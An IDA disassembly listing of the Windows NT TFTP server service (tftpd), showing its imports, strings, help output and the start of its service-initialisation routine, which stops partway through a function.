;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5C054291DE20E42B710884C037DF7A58

; File Name   :	u:\work\5c054291de20e42b710884c037df7a58_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	1000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003310 (  13072.)
; Section size in file		: 00003400 (  13312.)
; Offset to raw	data for section: 00000600
; Flags	60000020: Text Executable Readable
; Alignment	: default
;
; Imports from ADVAPI32.dll
;

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
					; DATA XREF: sub_10037BF+20r
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA	*lpServiceStartTable)
		extrn StartServiceCtrlDispatcherA:dword	; CODE XREF: sub_1001570+DBp
					; DATA XREF: sub_1001570+DBr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
					; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_10037BF+143p
					; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE	__stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
		extrn RegisterServiceCtrlHandlerA:dword	; CODE XREF: sub_1001665+4Ap
					; DATA XREF: sub_1001665+4Ar
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE	hServiceStatus,	LPSERVICE_STATUS lpServiceStatus)
		extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
					; sub_1001665+F7p ...

;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: sub_1001570+EDp
					; DATA XREF: sub_1001570+EDr
; DWORD	__stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR	lpDst, DWORD nSize)
		extrn ExpandEnvironmentStringsA:dword ;	CODE XREF: sub_1003910+34p
					; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
		extrn GetLocalTime:dword ; CODE	XREF: sub_1002A3D+35p
					; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
					; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_10027E1+83p
					; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
		extrn SetEvent:dword	; CODE XREF: sub_1001E73+36p
					; DATA XREF: sub_1001E73+36r
; DWORD	__stdcall ResumeThread(HANDLE hThread)
		extrn ResumeThread:dword ; CODE	XREF: HandlerProc+38p
					; DATA XREF: HandlerProc+38r
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_1001570+E5p
					; sub_1001665:loc_1001762p ...
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: sub_1001665+210p
					; sub_1001A91+1ABp
					; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState,	LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_1001665+7Ep
					; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn InitializeCriticalSection:dword ;	CODE XREF: sub_10018DB+12p
					; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
		extrn HeapCreate:dword	; CODE XREF: sub_10019F0+23p
					; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword ; CODE	XREF: sub_1001A1F+68p
					; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap,	DWORD dwFlags, LPVOID lpMem)
		extrn HeapFree:dword	; CODE XREF: sub_1001A1F+58p
					; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_1001A1F+49p
					; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword ; CODE	XREF: sub_1001A1F+Bp
					; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
		extrn InterlockedIncrement:dword ; CODE	XREF: sub_1001A91+27Cp
					; sub_1001A91+2C1p
					; DATA XREF: ...
; DWORD	__stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles,	BOOL bWaitAll, DWORD dwMilliseconds)
		extrn WaitForMultipleObjects:dword ; CODE XREF:	sub_1001A91+158p
					; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_1001A91+93p
					; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
		extrn ResetEvent:dword	; CODE XREF: sub_1001A91+75p
					; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: .text:01001D94p
					; sub_100205A+4Ep
					; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
					; .text:01001D9Bp
					; DATA XREF: ...
; DWORD	__stdcall SuspendThread(HANDLE hThread)
		extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
					; DATA XREF: HandlerProc+50r

;
; Imports from MSVCRT.dll
;
		extrn __imp__initterm:dword ; DATA XREF: _inittermr
		extrn __getmainargs:dword ; CODE XREF: .text:01003B18p
					; DATA XREF: .text:01003B18r
		extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p
					; DATA XREF: .text:01003AD8r
		extrn _lseek:dword	; CODE XREF: sub_1002F31+1F0p
					; sub_1002F31+20Ap
					; DATA XREF: ...
		extrn _close:dword	; CODE XREF: sub_1002953+11p
					; DATA XREF: sub_1002953+11r
		extrn _read:dword	; CODE XREF: sub_10027E1+63p
					; DATA XREF: sub_10027E1+63r
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_1001FA6+30p
					; sub_100205A+93p ...
; void *__cdecl	realloc(void *Memory, size_t NewSize)
		extrn realloc:dword	; CODE XREF: sub_1001FA6+55p
					; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
		extrn fclose:dword	; CODE XREF: sub_1001E73+CDp
					; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_10018DB+75p
					; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
		extrn time:dword	; CODE XREF: sub_1001665+114p
					; HandlerProc+8p
					; DATA XREF: ...
		extrn _chdir:dword	; CODE XREF: sub_1001665+19Fp
					; sub_1001665+1BEp
					; DATA XREF: ...
; int *__cdecl errno()
		extrn _errno:dword	; CODE XREF: sub_1001665+1A7p
					; sub_10027E1+7Dp ...
		extrn _mkdir:dword	; CODE XREF: sub_1001665+1AEp
					; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl	fopen(const char *Filename, const char *Mode)
		extrn fopen:dword	; CODE XREF: sub_1001665+1DBp
					; DATA XREF: sub_1001665+1DBr
; char *__cdecl	ctime(const time_t *Time)
		extrn ctime:dword	; CODE XREF: sub_1001665+1F7p
					; HandlerProc+19p
					; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
		extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
		extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r
		extrn __set_app_type:dword ; CODE XREF:	.text:01003A7Fp
					; DATA XREF: .text:01003A7Fr
		extrn __p__fmode:dword	; CODE XREF: .text:01003A9Cp
					; DATA XREF: .text:01003A9Cr
		extrn __p__commode:dword ; CODE	XREF: .text:01003AAAp
					; DATA XREF: .text:01003AAAr
		extrn _adjust_fdiv:dword ; DATA	XREF: .text:01003AB8r
; int printf(const char	*Format, ...)
		extrn printf:dword	; CODE XREF: sub_1001570+52p
					; sub_1001570+5Fp ...
		extrn __p___initenv:dword ; CODE XREF: .text:01003B33p
					; DATA XREF: .text:01003B33r
		extrn __imp__XcptFilter:dword ;	DATA XREF: _XcptFilterr
; void __cdecl exit(int	Code)
		extrn _exit:dword	; CODE XREF: .text:01003B7Ap
					; DATA XREF: .text:01003B7Ar
		extrn _open:dword	; CODE XREF: sub_1002F31+1A6p
					; sub_100333A+1B9p
					; DATA XREF: ...
		extrn _write:dword	; CODE XREF: sub_100373A+5Bp
					; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int	Code)
		extrn exit:dword	; CODE XREF: sub_1001570+CFp
					; sub_1001665+C0p ...

;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type,	int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP	g, DWORD dwFlags)
		extrn WSASocketA:dword	; CODE XREF: sub_100205A+17p
					; DATA XREF: sub_100205A+17r
; int __stdcall	WSAGetLastError()
		extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
					; sub_1001A91+12Bp ...
; int __stdcall	WSAStartup(WORD	wVersionRequested, LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: sub_1001665+A6p
					; DATA XREF: sub_1001665+A6r
; int __stdcall	WSAEventSelect(SOCKET s, HANDLE	hEventObject, __int32 lNetworkEvents)
		extrn WSAEventSelect:dword ; CODE XREF:	sub_100188E+Cp
					; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
		extrn htons:dword	; CODE XREF: sub_1001A91+1D2p
					; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped,	LPDWORD	lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
		extrn WSAGetOverlappedResult:dword ; CODE XREF:	sub_1001A91+18Ep
					; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
		extrn ntohs:dword	; CODE XREF: sub_1001A91+11Ep
					; sub_1002A3D+40p ...
; int __stdcall	WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD	dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen,	LPWSAOVERLAPPED	lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
		extrn WSARecvFrom:dword	; CODE XREF: sub_1001A91+10Fp
					; DATA XREF: sub_1001A91+10Fr
; int __stdcall	ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
		extrn ioctlsocket:dword	; CODE XREF: sub_1001A91+2Ap
					; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
		extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
					; DATA XREF: sub_1001F54+1Cr
; int __stdcall	closesocket(SOCKET s)
		extrn closesocket:dword	; CODE XREF: sub_1001F54+13p
					; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_1002024+4p
					; sub_1002F31+64p ...
; int __stdcall	bind(SOCKET s, const struct sockaddr *name, int	namelen)
		extrn bind:dword	; CODE XREF: sub_100205A+7Ap
					; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const	char *name, const char *proto)
		extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
					; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int	protocol)
		extrn socket:dword	; CODE XREF: sub_1002F31+22Ep
					; sub_100333A+1EBp
					; DATA XREF: ...
; int __stdcall	sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
		extrn sendto:dword	; CODE XREF: sub_100230A+B6p
					; sub_1002A3D+65p ...

;
; Imports from iphlpapi.dll
;
; DWORD	__stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED	overlapped)
		extrn __imp_NotifyAddrChange:dword ; DATA XREF:	NotifyAddrChanger
; DWORD	__stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable,	PULONG pdwSize,	BOOL bOrder)
		extrn __imp_GetIpAddrTable:dword ; DATA	XREF: GetIpAddrTabler

;
; Imports from ntdll.dll
;
; void *__cdecl	memmove(void *Dst, const void *Src, size_t Size)
		extrn memmove:dword	; CODE XREF: sub_100273D+72p
					; DATA XREF: sub_100273D+72r
; char *__cdecl	strncpy(char *Dest, const char *Source,	size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_1003910+24p
					; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
		extrn isupper:dword	; CODE XREF: sub_100333A+86p
					; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
		extrn tolower:dword	; CODE XREF: sub_1002F31+88p
					; sub_100333A+95p
					; DATA XREF: ...
		extrn RtlUpdateTimer:dword ; CODE XREF:	sub_1002A3D+BCp
					; sub_1002B5E+114p ...
		extrn RtlDeleteTimer:dword ; CODE XREF:	sub_1002901+27p
					; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1,	const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_10023D8+54p
					; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_10023D8+81p
					; sub_10023D8+F2p
					; DATA XREF: ...
; char *__cdecl	itoa(int Val, char *DstBuf, int	Radix)
		extrn _itoa:dword	; CODE XREF: sub_10023D8:loc_1002597p
					; DATA XREF: sub_10023D8:loc_1002597r
		extrn RtlDeregisterWaitEx:dword	; CODE XREF: sub_1001F54+Ap
					; sub_1002901+35p
					; DATA XREF: ...
		extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
		extrn RtlCreateTimerQueue:dword	; CODE XREF: sub_10018DB+81p
					; DATA XREF: sub_10018DB+81r
		extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
					; sub_10018DB+D6p
					; DATA XREF: ...
		extrn RtlCreateTimer:dword ; CODE XREF:	sub_10018DB+A8p
					; sub_1002F31+34Dp ...

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 100117Ch
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 37ECADD7h, 0
		dd 4, 110h, 0
		dd 4C00h, 0
		dd 37ECADD7h, 0
		dd 3, 310h, 0
		dd 4D10h, 0
		dd 37ECADD7h, 0
		dd 6, 2	dup(0)
		dd 5020h, 0
		dd 37ECADD7h, 0
		dd 2, 1Ah, 0
		db 90h
		db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS	db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
		db ' 22:17:18',0Ah,0
; char aOWritableFiles[]
aOWritableFiles	db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
; char aWritable[]
aWritable	db 'writable',0         ; DATA XREF: sub_1001570+BFo
					; sub_10037BF+121o
		align 4
; char aOReadableFiles[]
aOReadableFiles	db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
; char aReadable[]
aReadable	db 'readable',0         ; DATA XREF: sub_1001570+B1o
					; sub_10037BF+F1o
		align 4
; char aOValidmastersK[]
aOValidmastersK	db ' o ValidMasters   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
; char aMasters[]
aMasters	db 'masters',0          ; DATA XREF: sub_1001570+A3o
					; sub_10037BF+C1o
; char aOValidclientsK[]
aOValidclientsK	db ' o ValidClients   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
; char aClients[]
aClients	db 'clients',0          ; DATA XREF: sub_1001570+95o
					; sub_10037BF+8Eo
; char aTheseKeysAreSh[]
aTheseKeysAreSh	db 'These keys are shell patterns with * and ? (see examples above):',0Ah
					; DATA XREF: sub_1001570+8Do
		db 0
		align 4
; char aOStartdirector[]
aOStartdirector	db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
; char ValueName[]
ValueName	db 'directory',0        ; DATA XREF: sub_1001570+7Fo
					; sub_10037BF+5Co
		align 4
; char aRegistryKeyNam[]
aRegistryKeyNam	db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
					; DATA XREF: sub_1001570+76o
; char SubKey[]
SubKey		db 'System\CurrentControlSet\Services\tftpd\parameters',0
					; DATA XREF: sub_1001570+71o
					; sub_10037BF+13o
		align 10h
; char aTftpd_logfileI[]
aTftpd_logfileI	db ' TFTPD_LOGFILE     is %s',0Ah ; DATA XREF: sub_1001570+68o
		db 0Ah,0
		align 4
; char Filename[]
Filename	db 'tftpd.log',0        ; DATA XREF: sub_1001570+63o
					; sub_1001665+1D6o
		align 4
; char aTftpd_default_[]
aTftpd_default_	db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
		align 4
; char Source[]
Source		db '\tftpdroot\',0      ; DATA XREF: sub_1001570+55o
					; sub_1003910+1Eo
a?		db '-?',0               ; DATA XREF: sub_1001570+10o
		align 4
; char Mode[]
Mode		db 'a+',0               ; DATA XREF: sub_1001665+1D1o
		align 4
; char name[]
name		db 'tftp',0             ; DATA XREF: sub_100205A+31o
		align 10h
; char proto[]
proto		db 'udp',0              ; DATA XREF: sub_100205A+2Co
aOptionNegotiat	db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
		align 10h
aNoSuchUser	db 'No such user',0     ; DATA XREF: .data:01005CDCo
		align 10h
aFileAlreadyExi	db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe	db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe	db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
		align 10h
aDiskFullOrAllo	db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
		align 4
aAccessViolatio	db 'Access violation',0 ; DATA XREF: .data:01005CC8o
		align 4
aFileNotFound	db 'File not found',0   ; DATA XREF: .data:01005CC4o
		align 4
aErrorUndefined	db 'Error undefined',0  ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize		db 'tsize',0            ; DATA XREF: sub_10023D8:loc_100251Ao
		align 10h
; char aTimeout_0[]
aTimeout_0	db 'timeout',0          ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2		db 'blksize',0          ; DATA XREF: sub_10023D8+4Eo
aTimeout	db 'Timeout',0          ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe	db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
					; sub_100333A+201o ...
		align 10h
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
					; sub_100333A+1A0o
		align 4
aMalformedFileN	db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
					; sub_100333A+159o
aOctet		db 'octet',0            ; DATA XREF: sub_1002F31+D2o
					; sub_100333A:loc_100341Fo
		align 10h
aNetascii	db 'netascii',0         ; DATA XREF: sub_1002F31+9Fo
					; sub_100333A:loc_10033E1o
		align 4
asc_100155C:				; DATA XREF: sub_1003910+7Fo
		unicode	0, <\>,0
dword_1001560	dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_1001570	proc near		; CODE XREF: .text:01003B4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 1
		push	esi
		jle	loc_1001646
		mov	eax, [esp+4+arg_4]
		mov	esi, offset a?	; "-?"
		mov	eax, [eax+4]


loc_1001588:				; CODE XREF: sub_1001570+34j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_10015AA
		test	cl, cl
		jz	short loc_10015A6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_10015AA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_1001588


loc_10015A6:				; CODE XREF: sub_1001570+22j
		xor	eax, eax
		jmp	short loc_10015AF
; ---------------------------------------------------------------------------


loc_10015AA:				; CODE XREF: sub_1001570+1Ej
					; sub_1001570+2Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_10015AF:				; CODE XREF: sub_1001570+38j
		test	eax, eax
		jnz	loc_1001646
		mov	esi, ds:printf
		push	offset Format	; " ======================================"...
		call	esi ; printf
		pop	ecx
		push	offset Source	; "\\tftpdroot\\"
		push	offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is	%s\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset Filename	; "tftpd.log"
		push	offset aTftpd_logfileI ; " TFTPD_LOGFILE     is	%s\n\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset SubKey	; "System\\CurrentControlSet\\Services\\tftpd"...
		push	offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset ValueName ; "directory"
		push	offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aTheseKeysAreSh ; "These	keys are shell patterns	with * an"...
		call	esi ; printf
		pop	ecx
		push	offset aClients	; "clients"
		push	offset aOValidclientsK ; " o ValidClients   keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aMasters	; "masters"
		push	offset aOValidmastersK ; " o ValidMasters   keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aReadable ; "readable"
		push	offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aWritable ; "writable"
		push	offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh	; Code
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_1001646:				; CODE XREF: sub_1001570+6j
					; sub_1001570+41j
		push	offset ServiceStartTable ; lpServiceStartTable
		call	ds:StartServiceCtrlDispatcherA	; StartServiceCtrlDispatcherA
		test	eax, eax
		jnz	short loc_100165B
		call	ds:GetLastError


loc_100165B:				; CODE XREF: sub_1001570+E3j
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
sub_1001570	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_1001665	proc near		; DATA XREF: .data:ServiceStartTableo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		push	offset HandlerProc ; lpHandlerProc
		push	offset ServiceName ; "Tftpd"
		mov	ServiceStatus.dwServiceType, 30h
		mov	ServiceStatus.dwCurrentState, 2
		mov	ServiceStatus.dwControlsAccepted, ebp
		mov	ServiceStatus.dwCheckPoint, 1
		mov	ServiceStatus.dwWaitHint, 4E20h
		mov	ServiceStatus.dwWin32ExitCode, ebp
		mov	ServiceStatus.dwServiceSpecificExitCode, ebp
		call	ds:RegisterServiceCtrlHandlerA	; RegisterServiceCtrlHandlerA
		cmp	eax, ebp
		mov	hServiceStatus,	eax
		jz	loc_1001762
		mov	esi, ds:SetServiceStatus
		mov	edi, offset ServiceStatus
		push	edi		; lpServiceStatus
		push	eax		; hServiceStatus
		call	esi ; SetServiceStatus
		cmp	eax, ebp
		jz	loc_1001762
		mov	ebx, ds:CreateEventA
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		call	ebx ; CreateEventA
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		mov	hHandle, eax
		call	ebx ; CreateEventA
		cmp	hHandle, ebp
		mov	hObject, eax
		jz	short loc_100171C
		cmp	eax, ebp
		jz	short loc_100171C
		push	offset stru_1006140 ; lpWSAData
		push	101h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1001735
		call	ds:WSAGetLastError	; WSAGetLastError


loc_100171C:				; CODE XREF: sub_1001665+96j
					; sub_1001665+9Aj ...
		push	1Fh
		call	sub_1001E73
		push	1		; Code
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_100172C:				; CODE XREF: sub_1001665+218j
					; sub_1001665+224j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_1001735:				; CODE XREF: sub_1001665+AFj
		push	edi		; lpServiceStatus
		mov	ServiceStatus.dwCurrentState, 4
		push	hServiceStatus	; hServiceStatus
		mov	ServiceStatus.dwControlsAccepted, 7
		mov	ServiceStatus.dwCheckPoint, ebp
		mov	ServiceStatus.dwWaitHint, ebp
		call	esi ; SetServiceStatus
		cmp	eax, ebp
		jnz	short loc_100176A


loc_1001762:				; CODE XREF: sub_1001665+57j
					; sub_1001665+6Ej
		call	ds:GetLastError
		jmp	short loc_100171C
; ---------------------------------------------------------------------------


loc_100176A:				; CODE XREF: sub_1001665+FBj
		push	9
		pop	ecx
		xor	eax, eax
		mov	edx, offset Time
		mov	edi, edx
		rep stosd
		push	edx		; Time
		call	ds:time	; time
		pop	ecx
		mov	edx, [esp+10h+arg_0]
		dec	edx
		mov	ebx, (offset dword_1005E07+1)
		jz	short loc_10017F3
		mov	eax, [esp+10h+arg_4]
		lea	eax, [eax+edx*4]
		mov	[esp+10h+arg_0], eax


loc_1001797:				; CODE XREF: sub_1001665+18Cj
		mov	eax, [esp+10h+arg_0]
		mov	eax, [eax]
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_10017F3
		movsx	ecx, byte ptr [eax+1]
		sub	ecx, 64h
		jz	short loc_10017C9
		dec	ecx
		jz	short loc_10017BD
		dec	ecx
		jnz	short loc_10017E9
		mov	dword_1005DD8, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017BD:				; CODE XREF: sub_1001665+147j
		mov	dword_1005DD4, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017C9:				; CODE XREF: sub_1001665+144j
		lea	edi, [eax+2]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_10017E9:				; CODE XREF: sub_1001665+14Aj
					; sub_1001665+156j ...
		sub	[esp+10h+arg_0], 4
		dec	edx
		cmp	edx, ebp
		ja	short loc_1001797


loc_10017F3:				; CODE XREF: sub_1001665+125j
					; sub_1001665+13Bj
		call	sub_10037BF
		call	sub_1003910
		mov	esi, ds:_chdir
		push	ebx
		call	esi ; _chdir
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_100182E
		call	ds:_errno	; _errno
		push	ebx
		call	ds:_mkdir	; _mkdir
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C
		push	ebx
		call	esi ; _chdir
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C


loc_100182E:				; CODE XREF: sub_1001665+1A5j
		cmp	dword_1005DD8, ebp
		jz	short loc_1001857
		push	offset Mode	; "a+"
		push	offset Filename	; "tftpd.log"
		call	ds:fopen	; fopen
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		mov	File, eax
		jnz	short loc_1001857
		mov	dword_1005DD8, ebp


loc_1001857:				; CODE XREF: sub_1001665+1CFj
					; sub_1001665+1EAj
		push	offset Time	; Time
		call	ds:ctime	; ctime
		pop	ecx
		call	sub_10018DB
		call	sub_10019F0
		push	0FFFFFFFFh	; dwMilliseconds
		push	hHandle		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		cmp	eax, ebp
		jz	loc_100172C
